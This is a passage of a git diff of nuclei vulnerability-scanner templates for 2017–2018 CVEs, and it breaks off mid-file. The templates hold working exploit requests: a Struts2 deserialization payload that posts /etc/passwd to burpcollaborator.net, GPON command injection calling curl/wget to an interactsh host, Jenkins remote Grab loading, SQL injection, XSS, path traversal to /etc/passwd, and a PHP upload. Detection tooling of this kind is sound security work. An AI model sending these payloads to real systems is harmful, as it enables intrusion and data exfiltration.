https://github.com/ivanitlearning/CVE-2017-17562 + - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562 + severity: high + tags: cve,cve2017,rce,goahead,fuzz + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.10 + cve-id: CVE-2017-17562 + cwe-id: CWE-20 + +requests: + - raw: + - | + GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + payloads: + endpoint: + - admin + - apply + - non-CA-rev + - cgitest + - checkCookie + - check_user + - chn/liveView + - cht/liveView + - cnswebserver + - config + - configure/set_link_neg + - configure/swports_adjust + - eng/liveView + - firmware + - getCheckCode + - get_status + - getmac + - getparam + - guest/Login + - home + - htmlmgr + - index + - index/login + - jscript + - kvm + - liveView + - login + - login.asp + - login/login + - login/login-page + - login_mgr + - luci + - main + - main-cgi + - manage/login + - menu + - mlogin + - netbinary + - nobody/Captcha + - nobody/VerifyCode + - normal_userLogin + - otgw + - page + - rulectl + - service + - set_new_config + - sl_webviewer + - ssi + - status + - sysconf + - systemutil + - t/out + - top + - unauth + - upload + - variable + - wanstatu + - webcm + - webmain + - webproc + - webscr + - webviewLogin + - webviewLogin_m64 + - webviewer + - welcome + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: status + status: + - 200 + + - type: word + condition: and + words: + - "environment variable" + - "display library search paths" \ No newline at end of file diff --git a/nuclei-templates/CVE-2017/cve-2017-18638.yaml b/nuclei-templates/CVE-2017/cve-2017-18638.yaml deleted file mode 100644 index 47bbe28842..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-18638.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2017-18638 - -info: - name: Graphite 'graphite.composer.views.send_email' SSRF - author: huowuzhao - severity: high - description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. - reference: - - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html - - https://github.com/graphite-project/graphite-web/issues/2008 - - https://github.com/advisories/GHSA-vfj6-275q-4pvm - - https://nvd.nist.gov/vuln/detail/CVE-2017-18638 - tags: cve,cve2017,graphite,ssrf,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2017-18638 - cwe-id: CWE-918 - -requests: - - method: GET - path: - - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}' - - matchers: - - type: word - part: interactsh_protocol - words: - - "http" diff --git a/nuclei-templates/CVE-2017/cve-2017-3506.yaml b/nuclei-templates/CVE-2017/cve-2017-3506.yaml deleted file mode 100644 index b19b9142da..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-3506.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2017-3506 - -info: - name: Oracle Weblogic Remote OS Command Execution - author: pdteam - description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. - severity: high - tags: cve,cve2017,weblogic,oracle,rce,oast - reference: - - https://hackerone.com/reports/810778 - - https://nvd.nist.gov/vuln/detail/CVE-2017-3506 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 7.40 - cve-id: CVE-2017-3506 - -requests: - - raw: - - | - POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, - Content-Type: text/xml;charset=UTF-8 - - - - - - - http://{{interactsh-url}} - - - - - - - - - - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2017/cve-2017-5631.yaml b/nuclei-templates/CVE-2017/cve-2017-5631.yaml deleted file mode 100644 index 6dcc26746a..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-5631.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2017-5631 - -info: - name: CaseAware - Cross Site Scripting - author: edoardottt - severity: medium - description: An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., "usr") that is transmitted in the login.php query string. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5631 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2017-5631 - cwe-id: CWE-79 - tags: cve,cve2017,xss,caseaware - -requests: - - method: GET - path: - - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "'>" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-5982.yaml b/nuclei-templates/CVE-2017/cve-2017-5982.yaml new file mode 100644 index 0000000000..1f114f79b3 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-5982.yaml @@ -0,0 +1,31 @@ +id: CVE-2017-5982 +info: + name: Kodi 17.1 Local File Inclusion + author: 0x_Akoko + severity: high + description: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. + reference: + - https://cxsecurity.com/issue/WLB-2017020164 + - https://www.cvedetails.com/cve/CVE-2017-5982 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-5982 + cwe-id: CWE-98 + tags: cve,cve2017,kodi,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-6090.yaml b/nuclei-templates/CVE-2017/cve-2017-6090.yaml deleted file mode 100644 index 38352df854..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-6090.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2017-6090 - -info: - name: PhpCollab (unauthenticated) Arbitrary File Upload - author: pikpikcu - severity: high - tags: cve,cve2017,phpcollab,rce,fileupload - reference: https://nvd.nist.gov/vuln/detail/CVE-2017-6090 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2017-6090 - cwe-id: CWE-434 - description: "Unrestricted file upload vulnerability in clients/editclient.php in PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/." - -requests: - - raw: - - | # REQUEST 1 - POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137 - - -----------------------------154934846911423734231554128137 - Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php" - Content-Type: application/x-php - - - - -----------------------------154934846911423734231554128137-- - - - | # REQUEST 2 - GET /logos_clients/1.php HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "48dbd2384cb6b996fa1e2855c7f0567f" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2017/cve-2017-8917.yaml b/nuclei-templates/CVE-2017/cve-2017-8917.yaml new file mode 100644 index 0000000000..a4968604e8 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-8917.yaml @@ -0,0 +1,24 @@ +id: CVE-2017-8917 +info: + name: Joomla SQL Injection + author: princechaddha + severity: critical + description: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors. + reference: https://www.cvedetails.com/cve/CVE-2017-8917/ + tags: cve,cve2017,joomla,sqli + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2017-8917 + cwe-id: CWE-89 + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)" + + matchers: + - type: word + words: + - "cf79ae6addba60ad018347359bd144d2" + part: body diff --git a/nuclei-templates/CVE-2017/CVE-2017-9140.yaml b/nuclei-templates/CVE-2017/cve-2017-9140.yaml similarity index 100% rename from nuclei-templates/CVE-2017/CVE-2017-9140.yaml rename to nuclei-templates/CVE-2017/cve-2017-9140.yaml diff --git a/nuclei-templates/CVE-2017/cve-2017-9805.yaml b/nuclei-templates/CVE-2017/cve-2017-9805.yaml new file mode 100644 index 0000000000..3fbcb5b5e2 --- /dev/null +++ b/nuclei-templates/CVE-2017/cve-2017-9805.yaml @@ -0,0 +1,95 @@ +id: CVE-2017-9805 + +info: + name: Apache Struts2 S2-052 RCE + author: pikpikcu + severity: high + description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads. + reference: + - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html + - https://struts.apache.org/docs/s2-052.html + tags: cve,cve2017,apache,rce,struts + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.10 + cve-id: CVE-2017-9805 + cwe-id: CWE-502 + +requests: + - method: POST + path: + - "{{BaseURL}}/struts2-rest-showcase/orders/3" + - "{{BaseURL}}/orders/3" + headers: + Content-Type: application/xml + body: | + + + + 0 + + + + + + false + 0 + + + + + + wget + --post-file + /etc/passwd + burpcollaborator.net + + false + + + + + java.lang.ProcessBuilder + start + + + asdasd + + asdasd + + + + + + false + 0 + 0 + false + + false + + + + 0 + + + + + + + + + + + matchers-condition: and + matchers: + + - type: word + words: + - "Debugging information" + - "com.thoughtworks.xstream.converters.collections.MapConverter" + condition: and + + - type: status + status: + - 500 diff --git a/nuclei-templates/CVE-2017/cve-2017-9833.yaml b/nuclei-templates/CVE-2017/cve-2017-9833.yaml deleted file mode 100644 index ed4f48506c..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-9833.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2017-9833 - -info: - name: BOA Web Server 0.94.14 - Arbitrary File Access - author: 0x_Akoko - severity: high - description: BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. - reference: - - https://www.exploit-db.com/exploits/42290 - - https://www.cvedetails.com/cve/CVE-2017-9833 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2017-9833 - cwe-id: CWE-22 - tags: boa,lfr,lfi,cve,cve2017 - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2017/cve-2017-9841.yaml b/nuclei-templates/CVE-2017/cve-2017-9841.yaml deleted file mode 100644 index 479cb1a86a..0000000000 --- a/nuclei-templates/CVE-2017/cve-2017-9841.yaml +++ /dev/null @@ -1,74 +0,0 @@ -id: CVE-2017-9841 - -info: - name: PHPUnit < 4.8.28 and 5.x - 5.63 Arbitrary Code Execution - author: Random_Robbie,pikpikcu - severity: critical - description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a " - - - | - GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/html - - - - - | - GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/html - - - - - | - GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/html - - - - - | - GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/html - - - - - | - GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/html - - - - matchers-condition: and - matchers: - - type: word - words: - - "6dd70f16549456495373a337e6708865" - part: body - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-0296.yaml b/nuclei-templates/CVE-2018/CVE-2018-0296.yaml new file mode 100644 index 0000000000..403b421b60 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-0296.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-0296 + +info: + name: Cisco ASA path traversal vulnerability + author: organiccrap + severity: high + description: 'A vulnerability in the web interface of the Cisco Adaptive Security Appliance (ASA) could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.' + reference: + - https://github.com/yassineaboukir/CVE-2018-0296 + - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd + - http://www.securitytracker.com/id/1041076 + - https://www.exploit-db.com/exploits/44956/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2018-0296 + cwe-id: CWE-22 + tags: cve,cve2018,cisco,lfi,traversal + +requests: + - method: GET + path: + - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" + headers: + Accept-Encoding: deflate + + matchers-condition: and + matchers: + - type: word + words: + - "///sessions" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-1000129.yaml b/nuclei-templates/CVE-2018/CVE-2018-1000129.yaml deleted file mode 100644 index 0396c98adb..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1000129.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2018-1000129 - -info: - name: Jolokia XSS - author: mavericknerd,0h1in9e,daffainfo - severity: medium - description: | - An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser. - reference: - - https://jolokia.org/#Security_fixes_with_1.5.0 - - https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad - - https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html - - https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-1000129 - cwe-id: CWE-79 - tags: cve,cve2018,jolokia,xss - -requests: - - method: GET - path: - - "{{BaseURL}}/api/jolokia/read?mimeType=text/html" - - "{{BaseURL}}/jolokia/read?mimeType=text/html" - - stop-at-first-match: true - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "" - - "java.lang.IllegalArgumentException" - - "No type with name" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-1000226.yaml b/nuclei-templates/CVE-2018/CVE-2018-1000226.yaml deleted file mode 100644 index 25ee45947e..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1000226.yaml +++ /dev/null @@ -1,72 +0,0 @@ -id: CVE-2018-1000226 - -info: - name: Cobbler - Authentication Bypass - author: c-sh0 - severity: critical - description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler. - reference: - - https://github.com/cobbler/cobbler/issues/1916 - - https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-1000226 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-1000226 - cwe-id: CWE-732 - epss-score: 0.01552 - epss-percentile: 0.85717 - cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: cobblerd - product: cobbler - tags: cve,cve2018,cobbler,auth-bypass - -http: - - raw: - - | - POST {{BaseURL}}/cobbler_api HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - - - - _CobblerXMLRPCInterface__make_token - - - - cobbler - - - - - - matchers-condition: and - matchers: - - type: dsl - dsl: - - "!contains(tolower(body), 'faultCode')" - - - type: word - part: header - words: - - "Content-Type: text/xml" - - - type: word - part: body - words: - - "" - - - type: regex - part: body - regex: - - "(.*[a-zA-Z0-9].+==)" - - - type: status - status: - - 200 - -# digest: 490a0046304402206149e09674f1a8fb96dda0761be7e6f5c0cd107611ba73218111b7bd41e49d5d02202e51305f104f3f721b9a2d91f3e104477b7e469116dc1133d00841fdfc3d5aea:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-1000533.yaml b/nuclei-templates/CVE-2018/CVE-2018-1000533.yaml new file mode 100644 index 0000000000..75553411a0 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-1000533.yaml @@ -0,0 +1,48 @@ +id: CVE-2018-1000533 + +info: + name: GitList < 0.6.0 Remote Code Execution + author: pikpikcu + severity: critical + description: klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution. + reference: + - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533 + - https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html + - https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-1000533 + cwe-id: CWE-20 + tags: rce,git,cve,cve2018,gitlist + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + POST /{{path}}/tree/a/search HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + query=--open-files-in-pager=cat%20/etc/passwd + + extractors: + - type: regex + name: path + group: 1 + internal: true + part: body + regex: + - '(.*?)' + + matchers: + - type: word + words: + - "root:/root:/bin/bash" + part: body + +# Enhanced by mp on 2022/04/08 diff --git a/nuclei-templates/CVE-2018/cve-2018-1000600.yaml b/nuclei-templates/CVE-2018/CVE-2018-1000600.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-1000600.yaml rename to nuclei-templates/CVE-2018/CVE-2018-1000600.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-1000861.yaml b/nuclei-templates/CVE-2018/CVE-2018-1000861.yaml deleted file mode 100644 index 58c9a0dac4..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1000861.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2018-1000861 - -info: - name: Jenkins - Remote Command Injection - author: dhiyaneshDK,pikpikcu - severity: critical - description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way. - reference: - - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 - - https://nvd.nist.gov/vuln/detail/CVE-2018-1000861 - - https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595 - - http://web.archive.org/web/20210421212616/https://www.securityfocus.com/bid/106176 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-1000861 - cwe-id: CWE-502 - epss-score: 0.97348 - tags: kev,vulhub,cve,cve2018,rce,jenkins - metadata: - max-request: 1 - -http: - - method: GET - path: - - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;' - - matchers-condition: and - matchers: - - - type: word - words: - - "package#vulntest" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2018/CVE-2018-10093.yaml b/nuclei-templates/CVE-2018/CVE-2018-10093.yaml deleted file mode 100644 index 2af93144ba..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-10093.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-10093 - -info: - name: AudioCode 400HD - RCE - author: wisnupramoedya - severity: high - description: AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow Remote Code Execution. - reference: - - https://www.exploit-db.com/exploits/46164 - - https://nvd.nist.gov/vuln/detail/CVE-2018-10093 - - https://www.exploit-db.com/exploits/46164/ - - http://seclists.org/fulldisclosure/2019/Jan/38 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2018-10093 - cwe-id: CWE-862 - tags: cve,cve2018,rce,iot - -requests: - - method: GET - path: - - "{{BaseURL}}/command.cgi?cat%20/etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "admin:.*:*sh$" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-10095.yaml b/nuclei-templates/CVE-2018/CVE-2018-10095.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-10095.yaml rename to nuclei-templates/CVE-2018/CVE-2018-10095.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-10201.yaml b/nuclei-templates/CVE-2018/CVE-2018-10201.yaml new file mode 100644 index 0000000000..a57a229001 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-10201.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-10201 + +info: + name: Ncomputing vSPace Pro 10 and 11 Directory Traversal + author: 0x_akoko + severity: high + description: Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability. + reference: + - https://packetstormsecurity.com/files/147303/Ncomputing-vSPace-Pro-10-11-Directory-Traversal.html + - https://www.cvedetails.com/cve/CVE-2018-10201 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-10201 + cwe-id: CWE-22 + tags: cve,cve2018,ncomputing,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini' + - '{{BaseURL}}/...\...\...\...\...\...\...\...\...\windows\win.ini' + - '{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini' + - '{{BaseURL}}/....\....\....\....\....\....\....\....\....\windows\win.ini' + + stop-at-first-match: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-10230.yaml b/nuclei-templates/CVE-2018/CVE-2018-10230.yaml new file mode 100644 index 0000000000..281d1a1d81 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-10230.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-10230 +info: + name: Zend Server < 9.13 - XSS + author: marcos_iaf + severity: medium + description: | + A vulnerability in ZendServer < 9.13 allows an attacker to perform Reflected XSS via the debug_host parameter. + reference: + - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf + - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 + - https://www.zend.com/en/products/server/release-notes + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-10230 + cwe-id: CWE-79 + tags: cve,cve2018,xss,zend +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "is not allowed to open debug sessions" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-10562.yaml b/nuclei-templates/CVE-2018/CVE-2018-10562.yaml deleted file mode 100644 index ad31f74d8b..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-10562.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2018-10562 - -info: - name: Dasan GPON Devices - Remote Code Execution - author: gy741 - severity: critical - description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. - reference: - - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router - - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py - - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 - - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-10562 - cwe-id: CWE-78 - epss-score: 0.97572 - cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: dasannetworks - product: gpon_router_firmware - tags: cve,cve2018,dasan,gpon,rce,kev -variables: - useragent: '{{rand_base(6)}}' - -http: - - raw: - - | - POST /GponForm/diag_Form?images/ HTTP/1.1 - Host: {{Hostname}} - - XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0 - - | - POST /GponForm/diag_Form?images/ HTTP/1.1 - Host: {{Hostname}} - - XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0 - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: {{useragent}}" diff --git a/nuclei-templates/CVE-2018/CVE-2018-10956.yaml b/nuclei-templates/CVE-2018/CVE-2018-10956.yaml deleted file mode 100644 index 89b1bbae56..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-10956.yaml +++ /dev/null @@ -1,32 +0,0 @@ - -id: CVE-2018-10956 -info: - name: IPConfigure Orchid Core VMS 2.0.5 - Unauthenticated Directory Traversal. - author: 0x_Akoko - severity: high - description: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal. - reference: - - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/ - - https://www.cvedetails.com/cve/CVE-2018-10956 - classification: - cvss-metrics: 